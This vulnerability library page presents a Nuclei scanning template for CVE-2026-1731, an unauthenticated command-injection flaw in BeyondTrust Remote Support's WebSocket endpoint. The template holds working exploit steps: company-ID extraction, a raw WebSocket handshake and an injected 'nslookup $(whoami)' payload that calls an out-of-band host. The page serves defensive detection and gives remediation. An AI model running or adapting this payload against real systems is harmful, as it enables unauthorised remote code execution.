/Vulnerability Library

BeyondTrust Remote Support - Unauthenticated WebSocket RCE

CVE-2026-1731
Verified

Description

BeyondTrust Remote Support is vulnerable to unauthenticated remote code execution via the WebSocket endpoint /nw. An attacker can extract the company identifier from the /get_mech_list endpoint and use it to connect to the WebSocket service, then inject OS commands through the binary WebSocket payload that are executed on the server.

Severity

Critical

Exploit Probability

65%

Affected Product

remote_support

Published Date

February 10, 2026

Template Author

attackerkb, hacktron, pdteam

CVE-2026-1731.yaml
id: CVE-2026-1731

info:
  name: BeyondTrust Remote Support - Unauthenticated WebSocket RCE
  author: attackerkb,hacktron,pdteam
  severity: critical
  description: |
    BeyondTrust Remote Support is vulnerable to unauthenticated remote code execution via the WebSocket endpoint /nw. An attacker can extract the company identifier from the /get_mech_list endpoint and use it to connect to the WebSocket service, then inject OS commands through the binary WebSocket payload that are executed on the server.
  impact: |
    Remote attackers can execute arbitrary commands on the system without authentication, potentially leading to full system compromise.
  remediation: |
    Apply the latest security patches provided by BeyondTrust for Remote Support and Privileged Remote Access products.
  reference:
    - https://attackerkb.com/topics/jNMBccstay/cve-2026-1731/rapid7-analysis
    - https://www.hacktron.ai/blog/cve-2026-1731-beyondtrust-remote-support-rce
    - https://www.beyondtrust.com/trust-center/security-advisories/bt26-02
  classification:
    cve-id: CVE-2026-1731
    epss-score: 0.64611
    epss-percentile: 0.98425
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 2
    vendor: beyondtrust
    product: remote_support
    shodan-query: http.html:"BeyondTrust"
  tags: cve,cve2026,beyondtrust,rce,websocket,oob,js,vuln,vkev,kev

flow: http(1) && javascript(1)

http:
  - raw:
      - |
        GET /get_mech_list?version=3 HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: word
        part: body
        words:
          - "company"
        internal: true

    extractors:
      - type: regex
        name: company
        part: body
        group: 1
        regex:
          - '"default_company"\s*:\s*"([^"]+)"'
        internal: true

javascript:
  - code: |
      const net = require("nuclei/net");
      const nb = require("nuclei/bytes");

      let address = Host + ":443";
      let conn;
      try { conn = net.OpenTLS('tcp', address); } catch(e) { conn = net.Open('tcp', address); }

      // Step 1: WebSocket upgrade handshake
      let handshake = "GET /nw HTTP/1.1\r\n";
      handshake += "Host: " + Host + "\r\n";
      handshake += "Upgrade: websocket\r\n";
      handshake += "Connection: Upgrade\r\n";
      handshake += "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n";
      handshake += "Sec-WebSocket-Version: 13\r\n";
      handshake += "Sec-WebSocket-Protocol: ingredi support desk customer thin\r\n";
      handshake += "X-Ns-Company: " + company + "\r\n";
      handshake += "\r\n";

      conn.Send(handshake);
      let resp = conn.RecvString(4096);

      let result = "";
      if (resp.indexOf("101") !== -1) {
        // Step 2: Build binary WebSocket frame with command injection payload
        let payload = "hax[$(/usr/bin/nslookup $(whoami)." + oob + ")]\naaaaaaaa-aaaa-aaaa-aaaaaaaaaaaa\n0\naaaa\n";

        let buf = new nb.Buffer();
        buf.WriteString(payload);
        let payloadHex = buf.Hex();
        let payloadLen = buf.Len();

        // WebSocket frame structure:
        // Byte 1: FIN=1 + RSV=000 + Opcode=0010 (binary) = 0x82
        // Byte 2: MASK=1 + payload length
        // If length < 126: single byte (7-bit length)
        // If length 126-65535: byte=126, then 2-byte big-endian length
        // Masking key: 00000000 (no-op XOR mask)
        let frameHeader = "82";
        if (payloadLen < 126) {
          frameHeader += (0x80 | payloadLen).toString(16).padStart(2, '0');
        } else {
          frameHeader += "fe"; // 0x80 | 126
          frameHeader += ((payloadLen >> 8) & 0xFF).toString(16).padStart(2, '0');
          frameHeader += (payloadLen & 0xFF).toString(16).padStart(2, '0');
        }
        frameHeader += "00000000";
        let frameHex = frameHeader + payloadHex;

        conn.SendHex(frameHex);
        result = conn.RecvString(4096);
      }
      conn.Close();
      result;

    args:
      Host: "{{Host}}"
      company: "{{company}}"
      oob: "{{interactsh-url}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'

    extractors:
      - type: regex
        group: 1
        part: interactsh_request
        regex:
          - '([a-zA-Z0-9_-]+)\.[a-z0-9]{20,}\.'
# digest: 4a0a0047304502207c1ffd8ed16ec93c9a9bb08c347f50cbffa134d28987021a3b71e15d6f3121d70221008d7a9c21d2617497a166bc62b3b30845a274dddd2aef82a965847c8568f4508a:922c64590222798bb761d5b6d8e72950
9.5Severity

CVSS Metrics

CVE ID:
cve-2026-1731
CWE ID:
cwe-78

References

https://attackerkb.com/topics/jNMBccstay/cve-2026-1731/rapid7-analysishttps://www.hacktron.ai/blog/cve-2026-1731-beyondtrust-remote-support-rcehttps://www.beyondtrust.com/trust-center/security-advisories/bt26-02

Remediation Steps

Apply the latest security patches provided by BeyondTrust for Remote Support and Privileged Remote Access products.